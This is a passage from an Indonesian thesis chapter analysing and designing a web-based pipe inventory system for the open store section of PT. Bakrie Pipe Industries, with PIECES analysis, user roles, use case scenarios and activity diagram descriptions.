membatasi permasalahan dan lingkungan penelitian pada bagian inventory open
store yang berada pada PT. Bakrie Pipe Industries. Bagian inventory open store
adalah sebuah bagian pada PT. Bakrie Pipe Industries yang memiliki tugas
menyimpan pipa-pipa jadi (good pipe) ke dalam Open Store dan mengeluarkan
pipa tersebut untuk dikirim ke pelanggan. Bagian tersebut bertanggung jawab
memberikan laporan kepada Manager yang mengawasi semua kegiatan yang ada
di PT. Bakrie Pipe Industries khususnya di bagian Open Store. Aplikasi sistem
inventory ini ditekankan pada pencatatan setiap pipa jadi (good pipe) yang masuk
dan keluar dari Inventory Open Store baik itu untuk dikirim ke pelanggan ataupun
di proses ulang ke bagian produksi karena pipa tersebut rusak. Sedangkan apabila
terdapat hal lain pada aplikasi sistem inventory ini, maka hal tersebut hanyalah
tambahan bagi aplikasi ini.
4.3 Analisis Sistem
4.3.1 Kelemahan Sistem Yang Berjalan
Berdasarkan hasil dari analisis yang diperoleh dari PT. Bakrie Pipe
Industries, penulis dapat menguraikan beberapa kelemahan pada sistem yang
berjalan, diantaranya:
Analisis PIECES Sistem yang sedang berjalan
Kinerja (Performance) Pembuatan laporan membutuhkan
waktu 60 menit karena media
penyimpanannnya melalui kertas.
Informasi(Information) Informasi yang diberikan bersifat
terbatas dan kurang akurat
Analisis ekonomi (Economic) Biaya yang banyak untuk mencetak
setiap laporan yang ada dan
memerlukan tempat untuk
menyimpan laporan-laporan yang
89
ada
Keamanan atau kontrol (Security
or control)
Akan lebih mudah membagi user
berdasarkan tugas dan hak aksesnya
masing-masing
Efisiensi(eficiency) Karyawan harus memasukkan data
pipa ke dalam komputer
menggunakan Microsoft Excel
kemudian mencetak laporan,
sehingga memerlukan waktu dalam
proses pencatatan laporan. Layanan (Service) Proses pemesanan tidak tepat guna
karena pelanggan harus datang
langsung ke perusahaan
Sesuai dengan data dan informasi yang peneliti dapatkan selama melakukan
penelitian pada PT. Bakrie Pipe Industries. Maka peneliti dapat merumuskan
sistem berjalan pada bagian inventory open store adalah sebagai berikut:
Perusahaan PT. Bakrie Pipe Industries memiliki beberapa bagian,
diantaranya bagian produksi, pemasaran, bagian keuangan dan lain sebagainya.
Sistem inventory ini ditekankan untuk bagian open store. Bagian open
store pada PT. Bakrie Pipe Industries adalah bagian yang menyimpan pipa yang
telah di buat/ pipa jadi (good pipe) oleh bagian produksi, mengatur persediaan
pipa, memberikan laporan kondisi pipa jadi dan pipa yang harus di produksi ulang
karena rusak, serta memberikan laporan pipa yang dikeluarkan oleh Open Store
untuk dikirim kepada pelanggan.
Pada sistem yang berjalan saat ini, semua user melakukan perintah kerja
dan segala kegiatan pelaporan dilakukan ada yang dengan manual tetapi ada juga
yang dilakukan dengan komputer namun tidak terintegrasi dengan seluruh sistem
yang ada dalam open store.
Sebagai contoh, dapat peneliti berikan gambaran alur yang biasa terjadi dalam
keseharian proses yang terjadi pada PT. Bakrie Pipe Industries, sebagai
berikut:
1. Foreman Lapanagan menerima pipa jadi (good pipe) masuk dari bagian
produksi dan kemudian memberikan dokumen pipa masuk ke admin OS untuk
dicatat.
2. Admin open store melihat laporan work order agar dapat memisahkan pipa
yang sudah di pesan terlebih dahulu agar siap untuk dikeluarkan dari open
store atau dikirim.
3. Admin open store membuat laporan stok dan work order.
4. Foreman lapangan selalu melihat keadaaan pipa dalam kondisi baik atau rusak
agar dapat di kirim ke bagian produksi untuk di reproduksi dan mengatur tata
letak pipa sesuai dengan work order atau stok.
5. Manager menerima laporan secara berkala dari semua kegiatan yang ada
dalam open store.
91
Gambar 4.4 Rich Picture Sistem Inventory Open Store yang sedang berjalan
Gambar 4.4 adalah gambaran keseharian yang terlihat pada PT. Bakrie
Pipe Industries dalam melakukan perintah yang ada dalam Open Store. Pencatatan
transaksi masih menggunakan lembaran kertas yang kemudian dipindahkan ke
dalam komputer melalui program MS. Excel dan masih stand alone sehingga
tidak bisa diakses oleh manager secara langsung.
Sesuai dengan analisa yang peneliti lakukan, peneliti mendapatkan
permasalahan yang sering terjadi pada sistem berjalan, yaitu :
1. Pencatatan masih dalam lebaran kertas kemudian dipindahkan ke dalam
komputer serta masih stand alone.
2. Kebutuhan karyawan atas pelayanan yang memerlukan proses cepat dan tepat.
3. Pengolahan laporan berkala untuk Manager masih terbatas karena tidak dapat
dilakukan sewaktu-waktu.
4.3.1.2 Analisis Sistem Usulan
Setelah melihat data maupun informasi yang dibutuhkan dan melihat
sistem berjalan pada PT. Bakrie Pipe Industries sepintas tidak memiliki kendala
yang berarti, namun bila melihat langsung pada prakteknya di lapangan sistem
yang berjalan memiliki kendala. Yaitu dalam hal sistem aplikasi pengolahan
barang di open store dimana di dalamnya mengenai penyimpanan data barang,
penyimpanan data pembeli, penyimpanan data persediaan barang, input data
barang masuk, transaksi-transaksi, hingga tahap laporan. Dalam hal ini suatu
pengolahan data pada perusahaan tersebut sangat membutuhkan aplikasi yang
dapat menjadi solusi dari kendala-kendala tentunya dapat memudahkan kinerja
karyawan sehingga kegiatan perusahaan dapat berjalan efektif, lancar dan efisien.
Pada Sistem yang akan diusulkan terdapat 4 pengguna sistem, yaitu: user
manager yang memiliki akses pada sistem ini hanya untuk melihat laporan-
laporan data barang masuk dan keluar, data pembeli dan laporan data ready stock
yang tersedia digudang. Yang kedua ialah user admin_OS yang memiliki hak
akses untuk sistem ini antara lain untuk meng-input data-data barang masuk dan
keluar, data Work Order, data pembeli dan meng-input data reproduksi pipa yang
ada di dalam open store. Ketiga, user tallyman yang memiliki hak akses pada
sistem ini untuk mengecek ketersediaan barang dan reproduksi pipa didalam open
store. Keempat, user marketing yang memiliki hak akses memasukkan data work
order dan data pembeli.
93
Pada tahapan ini, peneliti menggunakan metode RAD (Rapid Application
Development) dan Unified Modelling Language (UML) sebagai tools untuk
menvisualisasikan sistem yang sedang berjalan.
Server
Bagian_Produksi
10.
Laporan_Pipa_masuk
Laporan_Stok_pipa
Laporan_Reproduksi_pipa
1. Menyerahkan_Laporan _pipa_jadi
6. Menyerahkan_data_
Rerproduksi_pipa
Foreman_Lapagan
Adm_OS
2. Memberikan_dokumen
_pipa_jadi
Tallyman
Manager
3.Input_data_
pipa_masuk
4. memasukkan data work order
7. Input_data_reproduksi_pipa
9. Laporan_data_ketersediaan_pipa
8. Cek_ketersediaan_pipa
Marketing
Gambar 4.5 Rich Picture Sistem Inventory Open Store yang diusulkan
Tabel 4.1 Analisa Perbandingan
Sistem yang berjalan Sistem yang di usulkan
Kekurangan Belum memiliki proses pengolahan data yang
terkomputerisasi.
Karyawan mengalami kesulitan dalam proses sortir
pipa yang disesuaikan dengan adanya work order
atau surat perintah produksi dari manager sehingga
karyawan akan menunggu surat tersebut dari
manager, kemudian pipa yang masuk ke dalam Open
Store baru bisa di sortir atau di pisahkan, mana yang
menjadi stok ataupun pipa yang sudah di pesan.
informasi data stok pipa yang sering tidak relevan dan
membutuhkan proses lama bila ingin mengetahui
stock.
95
Penyajian laporan pada aplikasi yang memakan
waktu lama dan dalam memproses rekapitulasi
laporan periode bulan tertentu
Kelebihan Aplikasi pengolahan data disesuaikan dengan kebutuhan
pengolahan data.
Dengan dibuatnya aplikasi baru, terdapat menu untuk
work order yang bisa di lihat langsung oleh admin OS
untuk dapat langsung sortir pipa yang akan di jadikan stok
dan yang sudah menjadi pesanan oleh konsumen sehingga
tidak perlu menunggu surat perintah berdasarkan work
order yang akan di keluarkan oleh manager.
informasi data stok pipa dengan proses yang cepat dan
tepat.
Menyajikan laporan-laporan yang dapat diakses tepat
waktu dan sesuai yang diinginkan oleh manager.
97
4.4 Design
Dari analisa sistem berjalan di atas, maka peneliti memberikan beberapa usulan
yang dapat menjadi solusi masalah sesuai dengan perumusan masalah yang telah
disebutkan pada bab 1. Solusi yang peneliti tawarkan memiliki tujuan yang dapat
diuraikan sebagai berikut:
1. Mengembangkan aplikasi Sistem Inventory Management Open Store yang
berbasiskan Web base, sehingga memudahkan pengguna dalam mendapatkan hal-
hal yang bernghubungan dengan proses bisnis perusahaan khususnya pada bagian
Inventory Open Store.
2. Aplikasi terdiri dari 4 akses utama yakni, akses yang hanya diperuntukkan untuk
manager, Tallyman, admin OS dan marketing.
3. Mengurangi kompleksitas komunikasi keempat user sehingga dapat fokus dalam
satu tugas area.
4. Menyediakan fitur-fitur admin OS dalam proses pelaporan.
5. Menyediakan fitur-fitur yang membantu manager dalam memperoleh data dan
informasi yang dibutuhkan dalam pengambilan keputusan.
Setelah solusi penawaran di atas, peneliti akan memaparkan analisa sistem yang
diusulkan dengan metodologi RAD dengan menggunakan tools UML, sebagai berikut:
4.4.1 Use Case Diagram
Use case adalah sebuah alat bantu guna menstimulasi pengguna untuk mengatakan
tentang suatu sistem dari sudut pandangnya. Berikut ini adalah use case diagram sistem
inventory:
Tabel 4.2 Identifikasi Actor
No Actor Description
1 Admin_OS Aktor yang mengatur data-data pipa yang
akan diproduksi dari inventory open store
2 Manager Aktor yang dapat melihat laporan dari
sistem, laporan tersebut berupa laporan pipa
masuk, laporan pipa keluar, stok pipa dan
laporan lainnya.
3 Tallyman Aktor yang memiliki hak akses untuk
melihat data stok pipa yang tersedia dan
reeproduksi pipa di dalam open store
4 Marketing Aktor yang memiliki akses untuk
memasukkan data work order dan
memasukkan data pembeli.
4.4.1.1 Identifikasi Use Case
Tabel 4.3 Identifikasi Use Case
No Use Case Name Description Actor
1 Login Use case menggambarkan kegiatan
memasukkan username dan password
untuk mengakses sistem.
Admin_OS,
Manager,
Tallyman,
Marketing
2 Manage User Use case menggambarkan kegiatan
add, delete, edit data user pada sistem
Admin_OS
99
3 Input data pipa
masuk
Pengguna dapat menambah,
mengubah dan menghapus data pipa
yang masuk ke bagian open store
Admin_OS
4 Input data Barang Pengguna dapat menambah,
mengubah dan menghapus data pipa
yang masuk ke bagian open store
Admin_OS
5 Input data pipa
keluar
Use case menggambarkan kegiatan
input, edit, dan delete data pipa
keluar yang ada dalam bagian open
store
Admin_OS
6 Input data Pembeli Use case menggambarkan kegiatan
input, edit, delete data pembeli.
Admin_OS,
Marketing
7 Input data
Reproduksi
Use case menggambarkan kegiatan
input, edit, delete data reproduksi
pipa yang ada dalam open store
Admin_OS,
tallyman
8 Work Order Use case ini menggambarkan
kegiatan input, edit, delete data Work
order
Admin_OS,
marketing
9 Laporan Pipa Masuk Use case menggambarkan kegiatan
melihat laporan data pipa masuk
berdasarkan tanggal periode tertentu.
Admin_OS,
manager
10 Laporan pipa keluar Use case ini menggambarkan
kegiatan melihat laporan data pipa
keluar berdasarkan tanggal periode
Admin_OS,
manager
tertentu.
11 Laporan data
Pembeli
Use case menggambarkan kegiatan
melihat laporan data pembeli
berdasarkan tangggal periode
tertentu.
Admin_OS,
Manager
12 Laporan Work Order Use case ini menggambarkaan
kegiatan melihat laporan data work
order berdasarkan tanggal periode
tertntu.
Admin_OS,
Manager
13 Laporan data stok
pipa
Use case ini menggambarkan
kegiatan melihat laporan data
reproduksi berdasarkan tanggal
periode tertentu.
Admin_OS,
Manager
14 Laporan Work Order Use case ini menggambarkan
kegiatan melihat laporan data work
order berdasarkan tanggal periode
tertentu.
Admin_OS,
Manager
15 Cek Barang Use case ini menggambarkan
kegiatan laporan data ready stock
pipa
Admin OS,
Tallyman
101
Gambar 4.6 Use Case Sistem Inventory Management Open Store
4.4.2 Use Case Scenario
Proses yang terjadi pada gambar lebih lanjut dijelaskan secara rinci pada tabel :
Manager
tallyman
Admin_OS
login
Cek Barang
Laporan pipa Masuk
Logout
Laporan Pipa Keluar
Laporan Work Order
Laporan Data Pembeli
Laporan Reproduksi Pipa
<<include>>
Input Data Pipa Masuk
Input Data Pembeli
Input Reproduksi Pipa
Input Data Pipa Keluar
Input Work Order
<<depends on>>
<<depends on>>
<<depends on>>
<<depends on>>
Manage user
Laporan Stok Pipa
<<depends on>>
Marketing
<<depends on>>
<<depends on>>
<<depends on>>
<<depends on>>
<<depends on>>
<<depends on>><<depends on>>
4.4.2.1 Use Case Scenario Login
Tabel 4.4 Use Case Scenario Login
Use case name Login
Use case id 1
Actor All User
Description Use case mendeskripsikan kegiatan input username
dan password untuk mengakses sistem
Pre condition -
Trigger Pengguna ingin mengakses sistem
Typical course of events Actor action System response
1. Input username dan
password
2. Klik login
3. Cek username dan
password
4. Memasuki halaman
sesuai hak akses
Alternate course Alt-step 3: jika salah, sistem akan menampilkan pesan
username atau password salah, maka akan kembali ke
halaman login
Conclusion Admin_Os, manager, Marketing dan tallyman dapat
103
mengakses sistem
Post condition Halaman utama
4.4.2.2 Use Case Scenario Manage User
Tabel 4.5 Use Case Scenario Manage User
Use case name Manage User
Use case id 2
Actor Admin_OS
Description Use case mendeskripsikan kegiatan mengelola user,
yaitu menambah, mengedit, atau menghapus data user
Pre condition Login
Trigger Admin akan menambah atau menghapus user
Typical course of events Actor action System response
Step 1: input form user
Step 2: klik Simpan
Step 3: data user
tersimpan dalam
database dan tampil
update User
Alternate course Alt-step 1.a: klik Edit
Alt-step 2.a: tampil form edit user
Alt-step 3.a: klik simpan data berhasil di edit dan
tampil update User
Alt-step 1.b: klik Delete
Alt-step 2.b : muncul pertanyaan yakin ingin dihapus?
Alt-step 3 b: jika memilih ya, data langsung terhapus,
jika tidak, data batal dihapus.
Conclusion Admin telah menambah, mengedit, atau menghapus
data user.
Post condition -
4.4.2.3 Use Case Scenario Input Work Order
Tabel 4.6 Use Case Scenario Input Work Order
Use case name Input Work Order
Use case id 3
Actor Marketing
Description Use case mendeskripsikan kegiatan memasukkan data
work order
105
Pre condition Login
Trigger Marketing akan memasukkan data work order
Typical course of events Actor action System response
Step 1: input form work
order
Step 2: klik simpan
Step 3: data tersimpan
dalam database dan
tampil update work order
Alternate course Alt-step 1.a: klik Edit
Alt-step 2.a: tampil form edit work order
Alt-step 3.a: klik simpan data berhasil di edit dan
tampil update work order
Alt-step 1.b: klik Delete
Alt-step 2.b : muncul pertanyaan yakin ingin dihapus?
Alt-step 3 b: jika memilih ya, data langsung terhapus,
jika tidak, data batal dihapus.
Alt-step 4: jika data ada yang kurang, sistem akan
menampilkan pesan untuk melengkapi data.
Conclusion Marketing telah memasukkan data work order
Post condition Marketing, Admin_OS dan Manager dapat lihat
Laporan work order
4.4.2.4 Use Case Scenario Input Data Pembeli
Tabel 4.7 Use Case Scenario Input Data Pembeli
Use case name Input Data Pembeli
Use case id 4
Actor Marketing
Description Use case mendeskripsikan kegiatan memasukkan data
pembeli
Pre condition input work order
Trigger Marketing akan memasukkan data pembeli
Typical course of events Actor action System response
Step 1: input form data
pembeli
Step 2:klik Simpan
Step 3: data tersimpan
dalam database dan
tampil update pembeli
Alternate course Alt-step 1.a: klik Edit
Alt-step 2.a: tampil form edit pembeli
Alt-step 3.a: klik simpan data berhasil di edit dan
tampil update pembeli
Alt-step 1.b: klik Delete
107
Alt-step 2.b : muncul pertanyaan yakin ingin dihapus?
Alt-step 3 b: jika memilih ya, data langsung terhapus,
jika tidak, data batal dihapus.
Alt-step 4: jika data ada yang kurang, sistem akan
menampilkan pesan untuk melengkapi data.
Conclusion Marketing telah menambahkan data pembeli
Post condition Marketing, Admin_OS dan Manager dapat lihat
halaman Laporan data Pembeli
4.4.2.5 Use Case Scenario Input Data Pipa Masuk
Tabel 4.8 Use Case Scenario Input Data Pipa Masuk
Use case name Input Data Pipa Masuk
Use case id 5
Actor Admin_OS
Description Use case mendeskripsikan kegiatan input data pipa
masuk
Pre condition input work order , input pipa keluar
Trigger Admin_OS akan memasukkan data pipa masuk
Typical course of events Actor action System response
Step 1: input form data
pipa masuk
Step 2:klik Simpan
Step 3: data tersimpan
dalam database dan
tampil update pipa masuk
Alternate course Alt-step 1.a: klik Edit
Alt-step 2.a: tampil form edit pipa masuk
Alt-step 3.a: klik simpan data berhasil di edit dan
tampil update pipa masuk
Alt-step 1.b: klik Delete
Alt-step 2.b : muncul pertanyaan yakin ingin dihapus?
Alt-step 3 b: jika memilih ya, data langsung terhapus,
jika tidak, data batal dihapus.
Alt-step 4 : jika data ada yang kurang, sistem akan
menampilkan pesan untuk melengkapi data
Conclusion Admin_OS telah menambahkan data pipa masuk
Post condition Admin_OS dan Manager dapat lihat laporan data pipa
masuk
109
4.4.2.6 Use Case Scenario Input Data Pipa Keluar
Tabel 4.9 Use Case Scenario Input Data Pipa Keluar
Use case name Input Data Pipa Keluar
Use case id 6
Actor Admin_OS
Description Use case mendeskripsikan kegiatan mengeluarkan
pipa
Pre condition laporan work order
Trigger Admin_OS akan memasukkan data pipa keluar
Typical course of events Actor action System response
Step 1: input form pipa
keluar
Step 2: klik simpan
Step 3: data tersimpan
dalam database dan
tampil update pipa keluar
Alternate course Alt-step 1.a: klik Edit
Alt-step 2.a: tampil form edit pipa keluar
Alt-step 3.a: klik simpan data berhasil di edit dan
tampil update pipa keluar
Alt-step 1.b: klik Delete
Alt-step 2.b : muncul pertanyaan yakin ingin dihapus?
Alt-step 3 b: jika memilih ya, data langsung terhapus,
jika tidak, data batal dihapus.
Alt-step 4: jika data ada yang kurang, sistem akan
menampilkan pesan untuk melengkapi data.
Conclusion Admin_OS telah memasukkan data pipa keluar
Post condition Admin_OS dan Manager dapat lihat Laporan data
pipa keluar
4.4.2.7 Use Case Scenario Input Reproduksi Pipa
Tabel 4.10 Use Case Scenario Input Reproduksi Pipa
Use case name Input Reproduksi Pipa
Use case id 7
Actor Tallyman
Description Use case mendeskripsikan kegiatan memasukkan data
reproduksi
Pre condition Login
111
Trigger Tallyman akan memasukkan data reproduksi
Typical course of events Actor action System response
Step 1: input form
reproduksi
Step 2: klik Simpan
Step 3: data tersimpan
dalam database dan
tampil update reproduksi
Alternate course Alt-step 1.a: klik Edit
Alt-step 2.a: tampil form edit reproduksi pipa
Alt-step 3.a: klik simpan data berhasil di edit dan
tampil update reproduksi
Alt-step 1.b: klik Delete
Alt-step 2.b : muncul pertanyaan yakin ingin dihapus?
Alt-step 3 b: jika memilih ya, data langsung terhapus,
jika tidak, data batal dihapus.
Alt-step 4: jika data ada yang kurang, sistem akan
menampilkan pesan untuk melengkapi data.
Conclusion Tallyman telah menambahkan data reproduksi
Post condition Admin_OS dan Manager dapat melihat Laporan
reproduksi
4.4.2.8 Use Case Scenario Laporan Pipa Masuk
Tabel 4.11 Use Case Scenario Laporan Pipa Masuk
Use case name Laporan Pipa Masuk
Use case id 8
Actor Manager dan Admin_OS
Description Use case mendeskripsikan kegiatan melihat laporan
pipa masuk.
Pre condition input pipa masuk
Trigger Ada pipa yang telah di masukkan ke dalam open store
Typical course of events Actor action System response
Step 1: pilih tanggal,
bulan dan tahun
berdasarkan periode yang
diinginkan
Step 2: klik search
Step 3: jika periode sudah
dipilih, sistem akan
menampilkan laporan
pipa masuk
Step 4 : Klik Print
Alternate course Alt-step 3: jika user belum memilih tanggal, bulan
dan tahun berdasarkan periode yang diinginkan maka
laporan tidak dapat ditampilkan.
113
Conclusion Admin_OS dan Manager telah melihat laporan pipa
masuk
Post condition -
4.4.2.9 Use Case Scenario Laporan Data Pembeli
Tabel 4.12 Use Case Scenario Laporan Data Pembeli
Use case name Laporan Data Pembeli
Use case id 9
Actor Manager dan Admin_OS
Description Use case mendeskripsikan kegiatan melihat laporan
data pembeli.
Pre condition input data pembeli
Trigger Ada data pembeli yang telah di masukkan
Typical course of events Actor action System response
Step 1: pilih tanggal,
bulan dan tahun
berdasarkan periode yang
Step 3: Jika periode
sudah sesuai, sistem
akan menampilkan
diinginkan
Step 2: klik search
laporan pembeli
Step 4 : Klik Print
Alternate course Alt-step 3: jika user belum memilih tanggal, bulan
dan tahun berdasarkan periode yang diinginkan maka
laporan tidak dapat ditampilkan.
Conclusion Admin_OS dan Manager telah melihat laporan data
pembeli
Post condition -
4.4.2.10 Use Case Scenario Laporan Reproduksi Pipa
Tabel 4.13 Use Case Scenario Laporan Reproduksi Pipa
Use case name Laporan Reproduksi Pipa
Use case id 10
Actor Manager dan Admin_OS
Description Use case mendeskripsikan kegiatan melihat laporan
reproduksi pipa.
Pre condition input reproduksi pipa
115
Trigger Ada pipa yang telah direproduksi
Typical course of events Actor action System response
Step 1: pilih tanggal,
bulan dan tahun
berdasarkan periode yang
diinginkan
Step 2: klik search
Step 3: jika periode sudah
sesuai, sistem akan
menampilkan laporan
reproduksi pipa
Step 4 : Klik Print
Alternate course Alt-step 3: jika user belum memilih tanggal, bulan
dan tahun berdasarkan periode yang diinginkan maka
laporan tidak dapat ditampilkan.
Conclusion Admin_OS dan Manager telah melihat laporan pipa
masuk
Post condition -
4.4.2.11 Use Case Scenario Laporan Pipa Keluar
Tabel 4.14Use Case Scenario Laporan Pipa Keluar
Use case name Laporan Pipa Keluar
Use case id 11
Actor Manager dan Admin_OS
Description Use case mendeskripsikan kegiatan melihat laporan
pipa keluar.
Pre condition input pipa keluar
Trigger Ada pipa yang telah dikeluarkan
Typical course of events Actor action System response
Step 1: pilih tanggal,
bulan dan tahun
berdasarkan periode yang
diinginkan
Step 2: klik search
Step 3: Jika periode
sudah sesuai, sistem akan
menampilkan laporan
pipa keluar
Step 4 : Klik Print
Alternate course Alt-step 3: jika user belum memilih tanggal, bulan
dan tahun berdasarkan periode yang diinginkan maka
laporan tidak dapat ditampilkan.
117
Conclusion Admin_OS dan Manager telah melihat laporan pipa
keluar
Post condition -
4.4.2.12 Use Case Scenario Laporan Work Order
Tabel 4.15 Use Case Scenario Laporan Work Order
Use case name Laporan Work Order
Use case id 12
Actor Manager dan Admin_OS
Description Use case mendeskripsikan kegiatan melihat laporan
work order.
Pre condition input work order
Trigger Ada pipa yang telah dipesan/ dijadikan work order
Typical course of events Actor action System response
Step 1: pilih tanggal,
bulan dan tahun
Step 3: Jika periode yang
dipilih sudah sesuai,
berdasarkan periode yang
diinginkan
Step 2: klik search
sistem akan menampilkan
laporan work order
Step 4: Klik Print
Alternate course Alt-step 3: jika user belum memilih tanggal, bulan
dan tahun berdasarkan periode yang diinginkan maka
laporan tidak dapat ditampilkan.
Conclusion Admin_OS dan Manager telah melihat laporan work
order
Post condition -
4.4.2.13 Use Case Scenario Laporan Stok Pipa
Tabel 4.16 Use Case Scenario Laporan Stok Pipa
Use case name Laporan Stok Pipa
Use case id 13
Actor Marketing, Manager dan Admin_OS
Description Use case mendeskripsikan kegiatan melihat laporan
Stok pipa.
Pre condition input pipa masuk, input pipa keluar, dan input
reproduksi pipa.
119
Trigger Ada pipa-pipa yang telah diinputkan
Typical course of events Actor action System response
Step 1: pilih tanggal,
bulan dan tahun
berdasarkan periode yang
diinginkan
Step 2: klik search
Step 3: Jika periode yang
diisi sudah sesuai, sistem
akan menampilkan
laporan stok pipa
Step 4: Klik Print
Alternate course Alt-step 3: jika user belum memilih tanggal, bulan dan
tahun berdasarkan periode yang diinginkan maka
laporan tidak dapat ditampilkan.
Conclusion Admin_OS dan Manager telah melihat laporan stok
pipa
Post condition -
4.4.2.14 Use Case Scenario Cek Barang
Tabel 4.17 Use Case Scenario Cek Barang
Use case name Cek Barang
Use case id 14
Actor Tallyman dan Admin_OS
Description Use case mendeskripsikan kegiatan melihat
ketersediaan pipa.
Pre condition Login
Trigger Ada pipa yang telah dimasukkan
Typical course of events Actor action System response
Step 1: pilih cek barang Step 2: sistem akan
menampilkan
ketersediaan pipa
Alternate course -
Conclusion Admin_OS dan tallyman telah melihat ketersediaan
pipa
Post condition -
4.4.2.15 Use Case Scenario Logout
Tabel 4.18 Use Case Scenario Logout
Use case name Logout
121
Use case id 15
Actor All User
Description Use case mendeskripsikan kegiatan keluar dari sistem
Pre condition Login
Trigger Pengguna ingin keluar sistem
Typical course of events Actor action System response
Step 1: Klik logout Step 2: Menampilkan
pesan terima kasih
Alternate course -
Conclusion All User telah keluar sistem
Post condition Pesan Terima Kasih
4.4.3 Activity Diagram
Berikut adalah beberapa diagram aktivitas yang terbentuk dari kegiatan bisnis
dan use case diagram yang pada sistem yang diusulkan:
Data
Valid
Mulai
Data
Tidak Valid
Selesai
All User Sistem
Input username dan password
Klik login cek username dan password
Menampilkan Halaman Home Sistem
Menampilkan pesan
username atau password salah
Gambar 4.7 Activity diagram dari use case login
Pada gambar 4.7 menerangkan admin_os, manager dan tallyman masuk ke
halaman home sistem. Mereka harus melakukan pengisian username dan password
pada menu login. Jika username dan password yang dimasukkan salah, maka sistem
akan menampilkan pesan salah. Dan jika benar, maka sistem akan menampilkan
halaman home sistem.
123
Mulai
Selesai
Admin_OS Sistem
input form user
Klik edit
Klik Delete
tampil form edit user
Edit data user
klik simpan
Tampil update user
Yakin ingin
dihapus?
ya
tidak
Gambar 4.8 Activity diagram untuk manage user
Gambar 4.8 ini menerangkan tentang mengelola user dengan menambah, mengedit,
atau menghapus data user. Untuk menambah user, Admin harus klik manage user
sehingga sistem akan menampilkan form input user. Admin menginput form tersebut, lalu
klik Simpan. Untuk mengedit data user, Admin harus klik Edit sehingga sistem akan
menampilkan form edit user kemudian Admin_OS mengedit data user yang diperlukan,
lalu klik Simpan. Sistem akan menyimpan data dalam database. Untuk menghapus data
user, Admin harus klik Hapus sehingga sistem akan menghapus data user dari database.
Jika data user berhasil ditambah, diedit, atau dihapus, sistem akan kembali menampilkan
update User.
Mulai
Selesai
Marketing Sistem
input form work order
Klik edit
Klik Delete
tampil form edit work order
Edit data work order
klik simpan
Tampil update work order
Pesan lengkapi data
Data
kurang
Data
Lengkap
iya
tidak
Yakin ingin
dihapus?
Gambar 4.9 Activity diagram untuk input work order
Gambar 4.9 menjelaskan tentang menambah, mengedit, atau menghapus data
work order. Untuk menambah work order, Marketing harus mengisi semua form yang
ditampilkan oleh sistem, lalu klik Simpan. Untuk mengedit data work order, Marketing
harus klik Edit sehingga sistem akan menampilkan form edit work order kemudian
Marketing mengedit data work order yang diperlukan, lalu klik Simpan. Sistem akan
menyimpan data dalam database. Untuk menghapus data work order, Marketing harus
klik Hapus sehingga sistem akan menghapus data work order dari database. Jika data
125
Mulai
Selesai
Marketing Sistem
input form pembeli
Klik edit
Klik Deletetampil form edit pembeli
Edit data pembeli
klik simpan
Tampil update pembeli
Yakin ingin
dihapus?
ya
tidak
pesan lengkapi data
Data
kurang
Data
Lengkap
work order berhasil ditambah, diedit, atau dihapus, sistem akan kembali menampilkan
update work order.
Gambar 4.10 Activity diagram untuk input data pembeli
Gambar 4.10 menjelaskan tentang menambah, mengedit, atau menghapus data
pembeli. Untuk menambah pembeli, Marketing harus mengisi semua form yang
ditampilkan oleh sistem, lalu klik Simpan. Untuk mengedit data pembeli, Marketing
harus klik Edit sehingga sistem akan menampilkan form edit pembeli kemudian
Marketing mengedit data pembeli yang diperlukan, lalu klik Simpan. Sistem akan
menyimpan data dalam database. Untuk menghapus data pembeli, Marketing harus klik
Mulai
Selesai
Admin_OS Sistem
input form pipa masuk
Klik edit
Klik Deletetampil form edit pipa masuk
Edit data pipa masuk
klik simpan
Tampil update pipa masuk
Yakin ingin
dihapus?
ya
tidak
Pesan lengkapi data
Data
Lengkap
Data
kurang
Hapus sehingga sistem akan menghapus data pembeli dari database. Jika data pembeli
berhasil ditambah, diedit, atau dihapus, sistem akan kembali menampilkan update
pembeli.
Gambar 4.11 Activity diagram untuk input data pipa masuk
Gambar 4.11 menjelaskan tentang menambah, mengedit, atau menghapus data
pipa masuk. Untuk menambah pipa masuk, Admin_OS harus mengisi semua form yang
ditampilkan oleh sistem, lalu klik Simpan. Untuk mengedit data pipa masuk, Admin_OS
harus klik Edit sehingga sistem akan menampilkan form edit pipa masuk kemudian
127
Mulai
Selesai
Admin_OS Sistem
input form pipa keluar
Klik edit
Klik Deletetampil form edit pipa keluar
Edit data pipa keluar
klik simpan
Tampil update pipa keluar
Yakin ingin
dihapus?
ya
tidak
pesan lengkapi data
Data
kurang
Data
lengkap
Admin_OS mengedit data pipa masuk yang diperlukan, lalu klik Simpan. Sistem akan
menyimpan data dalam database. Untuk menghapus data pipa masuk, Admin_OS harus
klik Hapus sehingga sistem akan menghapus data pipa masuk dari database. Jika data
pipa masuk berhasil ditambah, diedit, atau dihapus, sistem akan kembali menampilkan
update pipa masuk.
Mulai
Selesai
Tallyman Sistem
input form reproduksi pipa
Klik edit
Klik Deletetampil form edit reproduksi pipa
Edit data reproduksi pipa
klik simpan
Tampil update reproduksi pipa
Yakin ingin
dihapus?
ya
tidak
Pesan lengkapi data
Data
kurang
Data
lengkap
Gambar 4.12 Activity diagram untuk input data pipa keluar
Gambar 4.12 Gambar diatas menjelaskan tentang menambah, mengedit, atau
menghapus data pipa keluar. Untuk menambah pipa keluar, Admin_OS harus mengisi
semua form yang ditampilkan oleh sistem, lalu klik Simpan. Untuk mengedit data pipa
keluar, Admin_OS harus klik Edit sehingga sistem akan menampilkan form edit pipa
keluar kemudian Admin_OS mengedit data pipa keluar yang diperlukan, lalu klik
Simpan. Sistem akan menyimpan data dalam database. Untuk menghapus data pipa
keluar, Admin_OS harus klik Hapus sehingga sistem akan menghapus data pipa keluar
dari database. Jika data pipa masuk berhasil ditambah, diedit, atau dihapus, sistem
akan kembali menampilkan update pipa keluar.
129
Mulai
Selesai
Manager, Admin_OS Sistem
Pilih tanggal, bulan dan tahun berdasarkan periode yang diinginkan
Klik Search
Menampilkan Laporan pipa masuk
Klik Print
Print Laporan
Gambar 4.13 Activity diagram untuk input reproduksi pipa
Gambar 4.13 menjelaskan tentang menambah, mengedit, atau menghapus data
reproduksi pipa. Untuk menambah reproduksi pipa, Admin_OS harus mengisi semua
form yang ditampilkan oleh sistem, lalu klik Simpan. Untuk mengedit data reproduksi
pipa, Admin_OS harus klik Edit sehingga sistem akan menampilkan form edit
reproduksi pipa kemudian Admin_OS mengedit data reproduksi pipa yang diperlukan,
lalu klik Simpan. Sistem akan menyimpan data dalam database. Untuk menghapus
data reproduksi pipa, Admin_OS harus klik Hapus sehingga sistem akan menghapus
